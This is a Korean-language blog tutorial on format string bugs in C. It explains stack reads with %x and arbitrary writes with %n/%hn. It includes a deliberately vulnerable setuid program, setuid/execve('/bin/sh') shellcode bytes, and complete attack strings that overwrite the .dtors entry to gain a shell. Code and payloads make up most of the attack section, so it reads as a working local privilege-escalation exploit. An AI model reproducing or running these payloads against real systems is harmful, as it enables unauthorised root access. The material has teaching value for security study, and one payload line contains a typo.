Format String 이란
- 문자열 함수에서 사용하는 형식 문자열입니다.
Printf("hacker %s\n",i); Format String
Format String에는 특수 이스케이프 시퀀스가 존재합니다.
%d 10진수
%u 부호 없는 10진수
%x 16진수
%s 문자열
%n 지금까지 출력한 바이트 수
%c 문자
/* format string 정상적인 사용 good.c*/
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char* argv[])
{
char buf[20];
strcpy(buf, argv[1]);
printf("%s\n",buf);
return 0;
}
format string을 한 문자씩 읽어옴
format 인자가 아니라면 출력
format 인자(%s,%x 등) 발견 시 ESP+4의 값의 포인터부터 null 만날 때까지 출력함
Format String Bug
/* format string Bug bad.c*/
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char* argv[])
{
char buf[20];
strcpy(buf, argv[1]);
printf(buf);
return 0;
}
실행 확인
실행은 이상 없이 둘 다 됩니다.
이렇게 실행이 잘 되는 이유가 인자의 개수가 일치하지 않기 때문입니다.
인자 개수 불일치로 위의 현상과 같은 버그가 발생합니다.
%x(format 인자) 발견 시 esp+4에 있는 값을 읽어오게 됩니다.
만약에 format 인자를 2개 넣는다면 어떻게 될까요?
%x 한번 해서 bffffb63의 값을 %x 한 번 더 해서 42015481의 값을 읽어오게 되었습니다.
%x3번 한 것과 %x4번 한 것에 차이는
%x4번을 하니 61616161 (16진수로 a는 61)
직접 입력한 값(buf)이 나오게 되었습니다.
환경 변수 주소 얻는 코드
/* env.c */
#include <stdlib.h>
int main(int argc, char* argv[])
{
char * addr;
addr = getenv(argv[1]); //getenv 환경변수 주소 구하는 함수
printf("located is %p\n",addr);
return 0;
}
%n의 활용
- %n이 나오기 전까지 출력된 글자 수 계산
- 스택의 다음 4byte에 있는 값을 주소로 참고하여 글자 수(byte 수) 입력
지금까지의 정보를 정리하면
1. %x를 이용하여 스택의 값을 읽을 수 있다.
2. %n을 이용하여 지정한 곳에 값을 쓸 수 있다.
결론: RET에 shellcode 주소를 덮어써서 공격이 가능
그러나 ASLR 보호 기법으로 인해 RET의 주소가 랜덤으로 바뀌면서 공격이 불가능
이 문제를 해결하기 위해서. dtros의 영역을 이용하게 된다.
.dtors란
GNU Compiler(gcc)가 컴파일 할 때 생성되는 영역
쓰기 가능
.ctors (생성자) - main()이 실행되기 전에 끝나기 때문에 이용할 수 없다.
main()
.dtros (소멸자)
Format String Bug Attack
1. %x을 이용하여 buf 위치 구하기
*buf의 위치는 공격시 원하는 주소에 값을 넣기 위해 사용되는 위치
2. %(임의 정수) c + %n 을 이용하면 원하는 주소에 원하는 값을 삽입 가능
%n |
4byte |
%hn |
2byte |
ex) %100c%n - 100자리를 다음 4바이트 값을 주소로 참고하여 해당 주소에 100을 입력
%(임의정수)c+%n의 원리
break를 main+55(print 전) main+60(print 후) 걸어서
값이 어떻게 들어가는지 확인해 보겠습니다.
43690은 16진수로 aaaa입니다.
%(16진수)c+%n으로하면 다음 4byte 주소에 해당 16 진수의 값이 문자로 들어가게 됩니다.
3. .dtors 주소 구하기
.dtors의 위치는 8049530입니다.
.dtors의 시작은 FFFFFFFF이고 끝은 00000000입니다.
시작과 끝 사이에 위치한 값(표시한 곳)이 실행될 함수의 위치입니다.
위치는 8049530이지만 표시한 곳의 값은 4바이트가 + 된 주소입니다. 8049534
공격 준비
/* fsb.c */
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char* argv[])
{
char buf[256];
strcpy(buf,argv[1]);
printf(buf);
return 0;
}
setuid bit 설정 후 일반계정으로 이동
LANG 환경 변수 한글로 변경 (export LANG="ko_KR.euckr")
환경 변수에 쉘코드 저장(export aa=`perl -e 'print "쉘코드"'`)
\x31\xc0\x89\xc3\xb0\x17\xcd\x80\xeb\x0f\x5e\x31\xc0\x50\x89\xe2\x56\x89\xe1\x89\xf3\xb0\x0b\xcd\x80\xe8\xec\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
환경 변수 주소 구하기 ./env aa
이 쉘코드가 삽입된 환경 변수 주소를
변하지 않은 주소. dtors에 넣어주어야 하는데요
.dtors는 아까 구했지만 다시 본다면
8049534가 됩니다.
이 주소에 이 0xbffffbfe 쉘코드 주소를 넣어야 합니다.
이 주소를 16진수로 변경해야 하는데
3221224446이란 값이 나옵니다.
이 32억의 수가 너무 커서 한 번에 들어가지 못하기 때문에
2 바이트씩 잘라서 넣어야 합니다.
쉘코드
bfff - 49151
fbfe - 64510
셸 코드를 위와 같이 넣게 됩니다.
fsb에서 str[256]의 위치를 찾습니다.
공격 구문
AAAA\x34\x95\x04\x08AAAA\x36\x95\x04\x08%8x%8x%8x%64510(-40)c%hn%49151c%hn
AAAA는 3번째%x 다음 %64510c자리에서 format 인자를 사용했기 때문입니다.
64510에서 40을 빼주는 이유는 앞의 문자들을 다 계산하기 때문에 앞의 문자 개수만큼 값을 빼야 합니다.
AAAA\x34\x95\x04\x08AAAA\x36\x95\x04x\08%8x%8x%8x%64470c%hn%49151c%hn
뒤의 %49151c 에서는 앞의 문자를 다 빼줘야 하는데 49151-(64470+40)
값이 작기 때문에 문제가 나오게 됩니다.
이 문제를 해결하기 위해서는 49151의 문자 bfff에 앞에 1을 붙여 1bfff로 만들고 계산을 합니다.
이것이 가능한 이유는 hn으로 2바이트 삽입이 되기 때문에 그렇습니다.
1bfff - 114687
114687 - 64470+40 = 50177
AAAA\x34\x95\x04\x08AAAA\x36\x95\x04\x08%8x%8x%8x%64470c%hn%50177c%hn
이렇게 코드가 완성이 됩니다.
혹은
위의 1bfff의 작업을 하지 않으려면
bfff를 먼저 오게 할 수도 있습니다.
그렇게 되면. dtors의 주소도 순서가 바뀌게 됩니다.
먼저 주소 36을 먼저 이용하고 34를 쓰면 ffbf fbfe 순으로 들어가게 할 수 있습니다.
.dtors 08049534
쉘코드 주소 bffffbfe
bfff - 49151
fbfe - 64510
49151-40 = 49111
64510-49151 = 15359
'Hacking > System Hacking' 카테고리의 다른 글
Heap Buffer Overflow(BOF) (0) | 2019.09.27 |
---|---|
Stack Buffer Overflow(BOF) - DEP+ASLR+ASCII Armor 우회(끝판대장) (RTL 공격) (0) | 2019.09.27 |
Stack Buffer Overflow(BOF) - DEP+ASLR 우회 (RTL 공격) (0) | 2019.09.27 |
Stack Buffer Overflow(BOF) - DEP 우회 (RTL) (0) | 2019.09.27 |
Stack Buffer Overflow(BOF) / BOF 보호 기법 (0) | 2019.09.27 |